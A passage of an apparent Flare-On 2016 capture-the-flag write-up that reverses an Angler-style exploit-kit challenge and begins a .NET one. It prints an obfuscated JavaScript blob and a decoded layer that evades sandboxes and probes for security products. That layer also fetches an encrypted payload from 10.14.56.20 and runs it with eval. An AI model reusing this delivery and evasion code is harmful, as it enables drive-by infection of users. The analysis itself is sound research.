wogcmV0dXJuIGI7CiB9CiBpZiAoYTxiKSB7CiByZXR1cm4gSWwxSWwxSWwxZChiLUlsMUliW0lsMUlxXShiL2EpKmEsYSk7CiB9CiBlbHNlIGlmIChhPT1iKSB7CiByZXR1cm4gYTsKIH0KIGVsc2UKIHsKIHJldHVybiBJbDFJbDFJbDFkKGIsYSk7CiB9CiB9OwoKIGZ1bmN0aW9uIElsMUlsMUlsMWUoYikgewogdmFyIGEgPSBuZXcgQWN0aXZlWE9iamVjdCgnJ1snPl88J10oJ3olODclOEMlODRIJTBEJUIwJUUwYyUyMCU5NyU1QkslREElRjAlRUInLCA1NSwgNywgMTA5KSk7CiBhLmFzeW5jID0gdHJ1ZTsKIGFbJydbJ2xvbCddKCdZJThCJTA4RCVBNTElQkQnLCA1MywgMTEsIDE1NyldKCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAicmVzOi8vJyArIGIgKyAnIj4nKTsKIGlmIChhWycnWydvM28nXSgndSUxMSU3QiVFRiU4OC0lQzMlQTYlM0ElOTInLCA1LCAxMSwgNTcpXVsnJ1snT0dDJ10oJyU1RVQlRTUlOTUlMjElQUQlMDBmJThFJywgNTksIDE5LCAxOTcpXSA9PSAtMjE0NzAyMzA4MykKIHJldHVybiAxOwogcmV0dXJuIDA7CiB9OwoKIGZ1bmN0aW9uIElsMUlsMUlsMWYoKSB7CiB0cnkgewogdmFyIGEgPSBwZXJmb3JtYW5jZS5ub3coKSAvIDEwMDA7CiB9IGNhdGNoIChlKSB7IHJldHVybiAwO30KCiB2YXIgYiA9IHBlcmZvcm1hbmNlLm5vdygpIC8gMTAwMCAtIGE7CiBmb3IgKHZhciBpPTA7aTwxMDtpKyspIHsKIGI9SWwxSWwxSWwxZChiLCBwZXJmb3JtYW5jZS5ub3coKS8xMDAwIC0gYSk7CiB9CgogdmFyIGMgPSBJbDFJYlsnJ1snLSwtJ10oJyU2MCVFMyVBMyUxRSVCRScsIDE4LCA5LCAyMzQpXSgxL2IpOwogaWYgKElsMUliWycnWyctLC0nXSgnYiVEMkgnLCAzLCAyMywgMTA3KV0oYy0xMDAwMDAwMCkgPCAxMDApIHsKIHJldHVybiAxOwogfQogZWxzZSBpZiAoSWwxSWJbJydbJ2xvbCddKCclMEUlMTMlQzgnLCAxMTEsIDM3LCAxMDIpXShjLTM1Nzk1NDUpIDwgMTAwKSB7CiByZXR1cm4gMTsKIH0KIGVsc2UgaWYgKElsMUliWycnWydPX28nXSgnUiU1QyUyOCcsIDUxLCAxMTksIDEzNyldKGMtMTQzMTgxODApIDwgMTAwKSB7CiByZXR1cm4gMTsKIH0KIAogdHJ5IHsKIHZhciBkID0gc2NyZWVuOwogaWYgKChkWycnWydPR0MnXSgneSVGQUglNURyJywgMTQsIDUsIDc3KV0gPCAoMTM2MjVeMTIzNDUpKSB8fCAoZFsnJ1snPl9PJ10oJyVGQ2YlODNuSCU5QicsIDE0OCwgOSwgMjA3KV0gPCAoNjYyNTZeNjU1MzYpKSkgcmV0dXJuIDE7CiB9IGNhdGNoKHgpIHtyZXR1cm4gMTt9CgogcmV0dXJuIDA7CiB9OwoKIGlmKElsMUlsMUlsMWYoKSA+PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWYoKSA+PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWUoJydbJ09HQyddKCclQzUlQkJAJTAwJUZCJTAzbCUwQyUwOSolQTglMUMlMTM2JTk0JTVFJTNCJTAyJUZFJTdCJTI2byVEMWVLJTdCJUQ3JUEzbCU5OCVGOCU4QyU2MCU5MlIlQTQlOEIlQkUnLCAxNjYsIDY1LCA5MSkpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snPl88J10oJ3ElRjMlQUMlRDAlRTdrJTg4JTJDJTdEMiVCNCVBQyVGRiUwRSU5MCVERW8lOEElRDIrJTFBJTg3JUI1RSU5RkMlQUIlQjMlMjAvJUJCJUQzJUJGJUM2JUE1JTE0JTBCJUNCJUJGWiU5OScsIDE4LCAxNywgMTUxKSkgPT0gMSkgcmV0dXJuIDI7CiBpZihJbDFJbDFJbDFlKCcnWydsb2wnXSgnJTFCayUxNjQlRjUlOUIlMEFoJUI3JUVBJUNFJUY4JTlETiVDMiplJUQyJUU4JUFGSCVGNyU5NyVFMTUlNUJRZyUwMiVBMDMlQUMlRkElMUMlMDUlRjYlQ0ZwJUEwVCU5OSVDQScsIDEyMCwgMzMsIDIxNykpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snbzNvJ10oJyVEMSVEOSU4NCVGNiVFN0EwYiVERCVDOEwlRUElN0YlRjR4JUMwJUNGJUEweiU4RCUxQSVBRCVBREslRkYlMTklRjMlQjUlQTB1JTEzJUFEJUM0KiVEQ2QlMDElQTFHJTE0JUY5JywgMTc4LCA1LCAxMDUpKSA9PSAxKSByZXR1cm4gMjsKIGlmKElsMUlsMUlsMWUoJydbJz5fTyddKCclODAlRjRlcyVFNiUxNCU4MSVCRkxVJUNELyU5RSVBMUlNJUZFTSVEQiU4OCU1QlglRkMlRjYlOEUlQTQycCVFMSVFRiU4MCVCNzYlNUQlRkMlQUElOUMlQTM2JywgMjI3LCAxMjksIDEwNykpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snLVEtJ10oJ04lODIlQzclQzElMDAlQkElRjMlMURSJTAzTyU5RCUxOCVGRiU3QiVDRnAlMUIlQjlaJTNENiVFRSU5NHAlOTJwYiUwNyVCRSU5MGIlNUUlREVVJTA1MCVDNycsIDQ1LCA5LCAzNSkpID09IDEpIHJldHVybiAyOwogaWYoSWwxSWwxSWwxZSgnJ1snT3J6J10oJyU5NSVCN1glMEMlRkIlQzclQzQlMThZJUI2JTYwJUMwJUIzJTkyJUFDJUNBJTBCJUNFRiU5N2ZreSU5MSVGQkclREZfTCUzQyU3QiU3QiVCQiUxRCVDQUglMEIlRkEnLCAyNDYsIDMzLCAyMTUpKSA9PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWUoJydbJ15fXiddKCclN0NCaSVCMTIlQ0F1JTVEJUEwY3ElRUQlRUElQ0YlRkQlRUYlRTIlOUIlMTclQ0ElQUYlQTZoJTk0JTIyMm4yVSVBRSUxNkIlQjglQURwNU8qJTgyJUVCJUM0JywgMzEsIDUsIDIyMSkpID09IDEpIHJldHVybiAyOwoKIHJldHVybiAwOwp9CgpJbDFJemEgPSBmdW5jdGlvbigpIHsKIHZhciBhID0gbmV3IElsMUl5YSgpOwogdmFyIGIgPSBJbDFJSWxsMWEsIGMgPSBJbDFJSWxsMWI7CiB2YXIgdyA9IElsMUl2LCB5ID0gSWwxSVosIHogPSBJbDFJWSwgeCA9IG5ldyBJbDFJc2EoKSwgdiA9IG5ldyBJbDFJd2EoKSwgdSA9IElsMUlxYSgpOwogdHJ5IHsKIHZhciBkID0gewogZzogYS5MW0lsMUlvXShJbDFJYmJzaSo4KSwKIEE6IGEuSmJbSWwxSW9dKCgnICdbSWwxSXBdKDApKS9JbDFJYmJzaSksCiBwOiBhLmhhW0lsMUlvXSgoKCcyJ1tJbDFJcF0oMCkpIC0gMikvMyksCiB9OwogZCA9IHkodygnJyBbJycgWydPR0MnXSgnViVFNSUzQycsIDQ5LCA5LCAyMDEpXSgpLCBiW0lsMUliYnNnXShkKSkpOwogdmFyIGUgPSBuZXcgYzsKIGVbSWwxSWJic2JdKElsMUliYnNwLCB4LmdXLCAhSWwxSWJic3QpOwogZVtJbDFJYmJzYV0oeC5Zdyx4LmRjKQogZVtJbDFJYmJzYV0oeC5LSixkW0lsMUluXSk7CiBlW0lsMUliYnNkXSA9IGZ1bmN0aW9uKCkgewogaWYgKGVbSWwxSWJic2VdPT09KElsMUliYnNjW0lsMUluXSkmJmVbSWwxSWJic2ZdPT09KDE1ODMyXjE1NjMyKSkKIHsKIHZhciBkID0gYltJbDFJYmJzaF0odygnJyBbJycgWydsb2wnXSgnJTBBYUgnLCA5OCwgMTcsIDEzNSldKCksIHooSWwxSWJic2ooZVtJbDFJYmJza10pKSkpOwogdmFyIGYgPSBJbDFJbGxsMUkxbC5JbDFJdTsKIHZhciBnID0gbmV3IGYoZC5CLCAxNik7CiB2YXIgaCA9IGcuSWwxSVgoYS5pYywgYS5oYSk7CiB2YXIgaiA9IHcoaC50b1N0cmluZygxNiksIGQuZmZmZmYpOwogaWYgKHUgPCAxKSB7IGV2YWwoaik7fQogfQogfTsKIGlmICghdi5NaSAmJiAhdi5wQSAmJiAhdi5DQSl7CiBlW0lsMUliYnNjXShkKTsKIH0KIH0gY2F0Y2goZikge307Cn0KCmZ1bmN0aW9uIElsMUlsYSgpIHsKIHRyeSB7CiBJbDFJemEoKTsKIH0gY2F0Y2ggKElsMUlOYSkge307Cn07Cgp0cnkgewogSWwxSWxhKCk7Cn0gY2F0Y2gobWVoKSB7fTs=",
        b, g, f, e, c, d = 0,
        h = '',
        x = window['UoqK1Yl'];

    do
        b = x.indexOf(a.charAt(d++)),
        g = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        e = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        c = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        f = b << 18 | g << 12 | e << 6 | c,

        b = f >> 16 & 255,
        g = f >> 8 & 255,
        f &= 255,

        h = 64 == e ? h + String.fromCharCode(b) : 64 == c ? h + String.fromCharCode(b, g) : h + String.fromCharCode(b, g, f);
    while (d < a.length);

    return h;
}

The aim here is similar to the previous layer's. Function(a) (line 20) is called to invoke the next layer of javascript; we need to make sure variable 'a' contains proper javascript.

The checks are much simpler here and happen between lines 73 - 77. We want window.gFVaUK and window.LAAOEpH to both be false so we can satisfy the condition. The latter depends on lines 54 - 71 where it tries to load Kaspersky as an ActiveXObject and if it doesn't find it, it fails, leaving window.LAAOEpH set to false as we want. The first check succeeds if we run the script in Internet Explorer. Bypass them by modifying the code or just run the page in IE and we get to the third layer.

Layer3 references a few objects from layer2 and hence we need to copy them over. These are lines 2-15 and line 30. Once this is done we can discard layer2 and focus solely on this layer. I'll only be pasting the relevant parts for layer3 as it's over 1000 lines of code. If we run file we notice that it performs an XMLHttpRequest to the following URL:
  • http://10.14.56.20:18089/i_knew_you_were_trouble
and contains a base64 string which changes every time a new request is made. This request is also present in the pcap we started with the following base64 string:

ErZVpc7xaW3bf0h8ythQz62wRdQlMpg3nTEKPYsyE9OtxAU4fCbwYg8zfbxlTnLb3BpLkcSSeuiskPQoEeyrEdZts9jKxSRiiYlr0Q/PDPhri78Sm4vTsUx/ascx7lt0EEvP5YsvQTjW2QvS1+3dyk7x8c8QlQ==

The goal is to understand how the requests are encrypted and get the original content. The following is the function in layer3 which encrypts the request, performs an XMLHttpRequest and decrypts the response:

Il1Iza = function() {
    var a = new Il1Iya();
    var b = Il1IIll1a, c = Il1IIll1b;
    var w = Il1Iv, y = Il1IZ, z = Il1IY, x = new Il1Isa(), v = new Il1Iwa(), u = Il1Iqa();
    
    try {
        var d = {
            g: a.L[Il1Io](Il1Ibbsi * 8),
            A: a.Jb[Il1Io]((' ' [Il1Ip](0)) / Il1Ibbsi),
            p: a.ha[Il1Io]((('2' [Il1Ip](0)) - 2) / 3),
        };
        //base64_encode ( RC4 (flareon_is_so_cute, [request] ) )
        d = y(w('' ['' ['OGC']('V%E5%3C', 49, 9, 201)](), b[Il1Ibbsg](d)));
        var e = new c;
        //initializes XMLHttpRequest('POST','http://10.14.56.20:18089/i_knew_you_were_trouble', true)
        e[Il1Ibbsb](Il1Ibbsp, x.gW, !Il1Ibbst);
        //sets header to json
        e[Il1Ibbsa](x.Yw, x.dc)
        //sets content length header
        e[Il1Ibbsa](x.KJ, d[Il1In]);
        //onreadystatechange handler
        e[Il1Ibbsd] = function() {
            //if readystate == send.length & status == 200
            if (e[Il1Ibbse] === (Il1Ibbsc[Il1In]) && e[Il1Ibbsf] === (15832 ^ 15632)) {
                // RC4(how_can_you_not_like_flareon, base64_decode ( [response] ))
                var d = b[Il1Ibbsh](w('' ['' ['lol']('%0AaH', 98, 17, 135)](), z(Il1Ibbsj(e[Il1Ibbsk]))));
                var f = Il1Illl1I1l.Il1Iu;
                //Diffie-Hellman stuff to get decryption key using B (d.B)
                var g = new f(d.B, 16);
                var h = g.Il1IX(a.ic, a.ha); 
                //decrypt contents (d.fffff) using Diffie-Hellman
                var j = w(h.toString(16), d.fffff);
                if (u < 1) {
                    //evaluate decrypted contents
                    eval(j);
                }
            }
        };
        if (!v.Mi && !v.pA && !v.CA) {
            //send XMLHttpRequest
            e[Il1Ibbsc](d);
        }
    } catch (f) {};
}

On line 13, the request is RC4 encrypted using the key 'flareon_is_so_cute' and the result is base64'd. If we reverse the process we get the contents of our base64 string found in the pcap:
{
    "g":"91a812d65f3fea132099f2825312edbb",
    "A":"16f2c65920ebeae43aabb5c9af923953",
    "p":"3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e"
} 

For those of you who are malware analysts and have suffered due to Angler's implementation of the Diffie-Hellman to encrypt shellcode delivery, these variables should trigger off all sorts of alarms. The only missing parameter to get hold of the private key is B, which is generated by the server and hence we need to look at the response present in the pcap. We decrypt the response in the same way we did for the request but this time using the key 'how_can_you_not_like_flareon':
{
    "B":"3101c01f6b522602ae415d5df764587b",
    "fffff": "<loads of garbage>"
}

Let's take a small break and check what we've got. We have parameters g, A, p, B and the DH-encrypted payload fffff. Thanks to the research at SecureList, this is all we need to crack the Diffie-Hellman and obtain the private key. The research can be found here. To make use of the java program at the bottom we need to calculate φ(p) and it's expansion into prime factors:

     p   = 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e
         = 77413500198989862721437805355107761214

 => φ(p) = 38532794441885460791256898927871100000
         =  2^5 * 3^4 * 5^5 * 7 * 37 * 61 * 73 * 113 * 389 * 4651 * 20175236914405679

 =>  q   =  {32L, 81L, 3125L, 7L, 37L, 61L, 73L, 113L, 389L, 4651L, 20175236914405679L }


Wolfram Alpha and CryptoTool can be used to help out with the computations. We now plug in all the constants into the java program:
import java.math.BigInteger;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import java.util.TreeMap;
import java.util.Vector;


public class DH_breaker {
    
    static BigInteger p = new BigInteger("3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e", 16);
    static BigInteger psi = new BigInteger("38532794441885460791256898927871100000");
    static BigInteger g = new BigInteger("91a812d65f3fea132099f2825312edbb", 16).mod(p);
    static BigInteger A = new BigInteger("16f2c65920ebeae43aabb5c9af923953", 16);    
    static BigInteger B = new BigInteger("3101c01f6b522602ae415d5df764587b", 16);
    static long[] q = new long[]{32L, 81L, 3125L, 7L, 37L, 61L, 73L, 113L, 389L, 4651L, 20175236914405679L};


    static int q_len = q.length;
    static HashSet[] xi = new HashSet[q_len];
    static BigInteger ai[] = new BigInteger[q_len];
    static HashSet res = new HashSet();
    
    static void rec(int ind)
    {
        if (ind == q_len)
        {
            BigInteger x = BigInteger.ZERO;
            for(int i=0;i<q_len;i++)
            {
                BigInteger mn = new BigInteger(((Long)q[i]).toString());
                BigInteger M = psi.divide(mn);
                x = x.add(ai[i].multiply(M).multiply(M.modInverse(mn)));
            }
            res.add(B.modPow(x.mod(psi), p));
            return;
        }
        
        Iterator<Long> it = xi[ind].iterator();
        while(it.hasNext()){
            ai[ind] = new BigInteger(it.next().toString());
            rec(ind + 1);
        }      
    }
    
    public static void main(String[] args) {

        for(int i=0;i<q_len;i++)
        {
            xi[i] = new HashSet<Long>();
            long qi = q[i];
            int H = (int)Math.sqrt((double)qi) + 1;
                 
            BigInteger _a = g.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p);
            BigInteger _b = A.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p);
            
            BigInteger _c = _a.modPow(new BigInteger(((Integer)H).toString()), p);
            BigInteger _cp = _c;           
            int u_size = 1000000;
            
            boolean stop = false;
            for(int u_part = 1;u_part<=H && !stop;u_part+=u_size)
            {
                if (H > u_size) 
                {
                    System.out.print("[i] Processing ");
                    System.out.println(u_part);
                }
                TreeMap<BigInteger, Integer> table = new TreeMap<>();
                for(int u=u_part;u<=H && u<u_part + u_size;u++)
                {
                    table.put(_cp, u);
                    _cp = _cp.multiply(_c).mod(p);
                }
                BigInteger z = _b;
                for(int v=0;v<=H;v++)
                {
                    if (table.get(z) != null)
                    {
                        xi[i].add((((long)H)*table.get(z) - v) % qi);
                        stop = true;
                        break;
                    }
                    z = z.multiply(_a).mod(p);              
                }
                table.clear();
                System.gc();
            }
            System.out.println(xi[i].toString());
        } 
        rec(0);
        
        Iterator<BigInteger> it = res.iterator();
        while(it.hasNext()){
            System.out.println(it.next().toString(16));
        } 
    }
    
}

We compile and run it:

Command Prompt
C:\>javac DH_breaker.java Note: DH_breaker.java uses unchecked or unsafe operations. Note: Recompile with -Xlint:unchecked for details. C:\>java DH_breaker [3] [70] [2958] [5] [16] [12] [21] [32] [132] [2873] [i] Processing 1 [i] Processing 1000001 [i] Processing 2000001 [ .. snip .. ] [i] Processing 94000001 [13449667480594038] 24c9de545f04e923ac5ec3bcfe82711f C:\>

We now have the decryption key: 24c9de545f04e923ac5ec3bcfe82711f. The easiest way to apply this and decrypt the response from the pcap is to set Fiddler to autorespond with this request and apply the following alterations to the layer3 javascript:


 [ .. snip .. ]

 //onreadystatechange handler
 e[Il1Ibbsd] = function() {
     //if readystate == send.length & status == 200
     if (e[Il1Ibbse] === (Il1Ibbsc[Il1In]) && e[Il1Ibbsf] === (15832 ^ 15632)) {
         // RC4(how_can_you_not_like_flareon, base64_decode ( [response] ))
         var d = b[Il1Ibbsh](w('' ['' ['lol']('%0AaH', 98, 17, 135)](), z(Il1Ibbsj(e[Il1Ibbsk]))));
         var f = Il1Illl1I1l.Il1Iu;
         //Diffie-Hellman stuff to get decryption key using B (d.B)
         var g = new f(d.B, 16);
         var h = g.Il1IX(a.ic, a.ha); 
         // The key we obtained earlier
         priv_key = "24c9de545f04e923ac5ec3bcfe82711f";  
         //decrypt contents (d.fffff) using Diffie-Hellman
         //var j = w(h.toString(16), d.fffff);
         var j = w(priv_key, d.fffff);
         //if (u < 1) {
             //evaluate decrypted contents
             eval(j);
         //}
     }
 };

 [ .. snip .. ]

Running the page again we are greeted with 2 message boxes:


Nice!! We now have the key for the flash file: HEAPISMYHOME

Part II: The Flash File


The flash file expects a key to "keep going":


Hitting the Submit button displays a few message boxes that something has been unlocked but nothing else. Let's load it into JPEXS. The button handler basically runs the function d3cryp7AndL0ad() with the supplied key as the parameter. This function is displayed below.

    public function d3cryp7AndL0ad(param1:String) : void
    {
        var _loc2_:Loader = new Loader();
        var _loc3_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain,null);
        var _loc4_:Class = Run_challenge1;
        //RC4-ish ( binaryData, key )
        var _loc5_:ByteArray = pr0udB3lly(ByteArray(new _loc4_()),param1);
        var _loc6_:String = "1172ca0ede560b08d97b270400347ede";
        if(MD5.hashBytes(_loc5_) == _loc6_)
        {
            this.loaded = true;
            _loc2_.loadBytes(_loc5_);
        }
    }

This function is pretty straight forward too and the line we're interested in is line 7. The function pr0udB3lly() takes a bytearray and a string, appends the first 16 bytes of the bytearray to the input string, computes the MD5 hash of the concatenation and uses this as the key to RC4-decrypted the rest of the bytearray. The result is another flash file.

Load it into JPEXS and deobfuscate it using the P-code deobfuscation feature. This feature is pretty amazing, when it works that is.


Luckily for us it does work on this SWFSecure obfuscation. The part we need to focus on is the constructor of class §-_§. We notice that the function is loading some external parameters but we know for sure that the landing page does not pass any parameters to the flash file, and neither does the previous layer:


 [ .. snip .. ]

 //loads parameters
 var _loc1_:Object = this.root.loaderInfo.parameters;
 //uses loaded params
 if(_loc1_.flare == "On")
 {
     _loc2_ = new Loader();
     _loc3_ = new LoaderContext(false,this.root.loaderInfo.applicationDomain,null);
     this.§-_---_§ = new Array();
     this.§-__-_--§ = new ByteArray();
     //uses loaded params twice
     this.§-_-___-§ = _loc1_.x;
     this.§--___-_§ = _loc1_.y;

 [ .. snip .. ]


As we can see, 3 parameters should have been loaded from somewhere. If we take a look at the binaryData folder, something catches our eye:


The name suggests that there's some information on Imgur. As images on Imgur are referenced using 7 random characters we visit http://imgur.com/vnUziJP:


If we download the image we notice that the size of the image is equal to size of the Int3lIns1de_t3stImgurvnUziJP binary data; there's a high chance that this binary data is the encrypted version of the image. Also, the class §-_§ contains an RC4 encryption/decryption function. With a plaintext-ciphertext pair encrypted using RC4, we don't require a key to decrypt other messsages; the question is, which one of the binary data might contain something interesting?

If we look at the constructor again, we notice that all the binary data objects are being pushed into a ByteArray() object, but 2 of them are not. In fact they're just loaded without being used. One of them is the Int3lIns1de_t3stImgurvnUziJP binary data and the other is '31: --__-.-__--__'. Let's decrypt this one using the following:


 //Encrypted version of the image
 CT_in = open("CT.bin", 'rb')
 //The image itself
 PT_in = open("PT.png", 'rb')
 //The other binary data
 TBD_in = open("to_be_decrypted.bin", 'rb')
 // resultant file
 answer = open("result.bin",'wb')

 CT_contents = CT_in.read()
 PT_contents = PT_in.read()
 TBD_contents = TBD_in.read()

 //Compute ciphertext1 XOR plaintext1 = ciphertext2 XOR plaintext2
 CT_squared = [ chr(ord(a) ^ ord(b)) for a,b in zip(CT_contents,PT_contents)]
 //Compute ( ciphertext2 XOR plaintext2 ) XOR ciphertext2
 result = [chr(ord(a) ^ ord(b)) for a,b in zip(CT_squared,TBD_contents)]
 //write plaintext2
 answer.write(''.join(result))
 answer.close()


If we open the result.bin file we get:
 x: 1BR0K3NCRYPT0FTW 
 y: 47:14546,46:1617,35:239,... [ .. snip ..] ...,6:733,21:4,1:1418,40:1618

So finally we have the missing parameters. We now have to understand what's happening in the constructor of class §-_§, translate it into python and get the next flash file.

PS: If anyone knows of a way to dump the next SWF by inserting x and y in the current flash file and dumping the resultant SWF without coding the entire algorithm in python, please tell me how!!

The following is what this flash file does:
  1. Takes 50 of the 52 binary data blobs and pushes them into a single array, call this ARRAY
  2. Decrypts each element of ARRAY, i.e. each binary data, with 1BR0K3NCRYPT0FTW
    • Uses the algorithm described above where it appends the first 16 chars to the key, MD5 hashes it, and uses it to RC4 decrypt
  3. Splits parameter y by ',' and splits each of them by ':'
  4. For each of the coordinate (x,y) constructed in bullet point 3, get byte ARRAY[x][y]; concatenate them
  5. If the MD5 hash of the result is equal to 600aa47f484cbd43ecd37de5cf111b10, load it

We're only interested in bullet points 1 till 4. The following is the python implementation of these:


    import hashlib
    import base64
    import glob,os

    def KSA(key):
        keylength = len(key)
        S = range(256)
        j = 0
        for i in range(256):
            j = (j + S[i] + key[i % keylength]) % 256
            S[i], S[j] = S[j], S[i]  # swap
        return S

    def PRGA(S):
        i = 0
        j = 0
        while True:
            i = (i + 1) % 256
            j = (j + S[i]) % 256
            S[i], S[j] = S[j], S[i]  # swap
            K = S[(S[i] + S[j]) % 256]
            yield K

    def RC4(key):
        S = KSA(key)
        return PRGA(S)

    def convert_key(s):
        return [ord(c) for c in s] 

    if __name__ == '__main__':

        file_order = ["--_-__","---","---__-","-__-___","-_____-_",
                      "-___-___","--_--_","-_-__","---_","---_--",
                      "-----","-___-_-","-_______","-_-__-_","--__---",
                      "-____---","-___","-__-_-_","-___-","-_____-",
                      "-____-_","--_---","-_-__--","-__","-----_","-____-",
                      "--_--_-","--___-","----__","---__-_","---_---",
                      "-_--_--","-__--_-","-----_-","-__-","---__--",
                      "--__--","--_--__","-_-_","-_---","--_-__-",
                      "-_-_-_-","-_-____","---_-_","-__---","--_-_",
                      "-_--_-_","--_-___","-_--__-","-___-__"]

        map = "47:14546,46:1617,35:239,4:47,35:394,3:575,

               [ .. snip .. ]

              ,17:381,37:9021,31:676,33:15200,21:479,26:58,
              16:304,6:733,21:4,1:1418,40:1618"
 
 
        decrypted_files = []
 
 #decrypt files
 for file in file_order:
            f_in = open("binaryData\\" + file + ".bin", 'rb')
            f_contents = f_in.read()
  
            nonce = f_contents[:16]
            input =  "1BR0K3NCRYPT0FTW"
 
            m = hashlib.md5()
            m.update(input + nonce)
            key =  m.hexdigest()
 
            plaintext = f_contents[16:]
            key = convert_key(key)
            keystream = RC4(key)
  
            temp_result = []
            for c in plaintext:
                temp_result.append(chr(ord(c) ^ keystream.next()))
            decrypted_files.append(temp_result)
 
        merged_file = []
        rounds = map.split(',')
        for round in rounds:
            mapping = round.split(':')
            merged_file.append(decrypted_files[int(mapping[0])][int(mapping[1])])
  
        f_out = f_in = open("layer3.swf", 'wb')
        f_out.write(''.join(merged_file))
        f_out.close()

The script produces the 3rd, and last SWF file for the challenge. JPEXS struggles to decompile it and increasing the timeout does not help; it still fails:


We can still deobfuscate it though! The result is 1582 lines of Actionscript3. All we need to do here is trace the _loc2_ variable at the end of the function and we get the very well-deserved key:

angl3rcan7ev3nprim3@flare-on.com


PS: Work files for this challenge including scripts, each layer of javascript and flash files, etc: Download
key: i_really_R34LL7_h8_flava

CTF Writeup - Flare-On 2016 - 09: GUI


  • Name - GUI
  • Category - Reverse Engineering
  • Points - 9
  • Description - n/a
  • Binary - Download here


The binary is a C#.Net application. If we run it and hit the Start button:


Notice the message "Combine all 6 shares". This is the goal of the challenge and it will become clear what these shares are later. For now let's blindly follow the suggestion.

Open the binary with dnSpy and we're confronted with some horrible Confuser obfuscation. Before we deobfuscate it, notice the 1st share in the Assembly Explorer window:

  • Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64

Now we can debfuscate it using de4dot; unfortunately Unconfuser was refusing to deobfuscate the binary. To see the difference, the following is the obfuscated version of the button1_Click method:


private void button1_Click(object sender, EventArgs e)
{
    byte[] buf = Form1.ReadResource(<Module>.\u206F\u202C\u206B\u202E\u200F\u206E\u202E\u206B\u202D\u206D\u200F\u206F\u200F\u200F\u202B\u202C\u200E\u206B\u202C\u202A\u202E\u206D\u206C\u200E\u206C\u206E\u200B\u200F\u206F\u200E\u202A\u206F\u206C\u200B\u206B\u206A\u206B\u202C\u206B\u206E\u202E<string>(282000140u));
    byte[] buffer = this.decryptBuffer(buf);
    byte[] rawAssembly = util.DecompressBuffer(buffer);
    Assembly assembly = Assembly.Load(rawAssembly);
    Type type = assembly.GetType(<Module>.\u202C\u200C\u200F\u202E\u202A\u200E\u202A\u206D\u206F\u200D\u206C\u202C\u200C\u206D\u200C\u206D\u206E\u200E\u200C\u202C\u200F\u206C\u206C\u200D\u200E\u206C\u200D\u202D\u206A\u206E\u200D\u202A\u200B\u206D\u206B\u200D\u206A\u206B\u206E\u206F\u202E<string>(370292149u));
    MethodInfo method = type.GetMethod(<Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(547307959u));
    bool flag = (bool)method.Invoke(null, new object[]
    {
        <Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(292816780u)
    });
    if (flag)
    {
        MessageBox.Show(<Module>.\u202D\u202A\u202E\u206C\u202B\u200F\u206B\u202A\u206C\u200D\u200D\u200C\u202B\u206F\u206F\u202C\u206F\u206E\u206D\u206C\u206D\u206F\u206D\u202B\u202C\u200C\u200E\u206B\u200E\u200D\u202C\u206C\u206B\u206E\u200C\u202D\u202E\u200C\u200C\u200C\u202E<string>(3452886671u));
        return;
    }
    MessageBox.Show(<Module>.\u206B\u206A\u200E\u202B\u200E\u202B\u202C\u200F\u202E\u202D\u202B\u200F\u206E\u202B\u206B\u202B\u202A\u206E\u206C\u202B\u202E\u206F\u202C\u200C\u200E\u206A\u202B\u202E\u202D\u200D\u202C\u206E\u202D\u206B\u206D\u206C\u202B\u202D\u206C\u206A\u202E<string>(458656109u));
}


The following is the unobfuscated version:

private void button1_Click(object sender, EventArgs e)
{
    byte[] buf = Form1.ReadResource(<Module>.smethod_4<string>(282000140u));
    byte[] buffer = this.decryptBuffer(buf);
    byte[] rawAssembly = util.DecompressBuffer(buffer);
    Assembly assembly = Assembly.Load(rawAssembly);
    Type type = assembly.GetType(<Module>.smethod_5<string>(370292149u));
    MethodInfo method = type.GetMethod(<Module>.smethod_2<string>(547307959u));
    if ((bool)method.Invoke(null, new object[]
    {
        <Module>.smethod_2<string>(292816780u)
    }))
    {
        MessageBox.Show(<Module>.smethod_6<string>(3452886671u));
        return;
    }
    MessageBox.Show(<Module>.smethod_3<string>(458656109u));
}


That's much better! So let's dive into it. The button click event, displayed above, is a good place to start. The code is reading some resource, decrypting it, decompressing it, loading it, getting a method, and then invoking it. The question is: what is it loading? If we step over it, lines 14 and 15 are never reached, which means that this unknown method is returning false. We probably need to make it return true. Let's step into it and see what's happening inside.

After quite a few steps we arrive at another module's constructor; the module being Layer1.dll, as can be seen from the Assembly Explorer:


Once again we're back to obfuscated code. To obtain an unobfuscated version we can break at line 6 in the button click event handler displayed above, save the contents of variable rawAssembly which contains the raw bytes of the dll, deobfuscate it with Unconfuser and de4dot, and load it into dnSpy. Even though we can't run it, at least we'll have cleaner code to reference while stepping through the obfuscated one. From now on I will be displaying code extracts from the unobfuscated version even though the execution really happens in the obfuscated one.

Just after the constructor we get to the Start() function:
public static bool Start(string config)
{
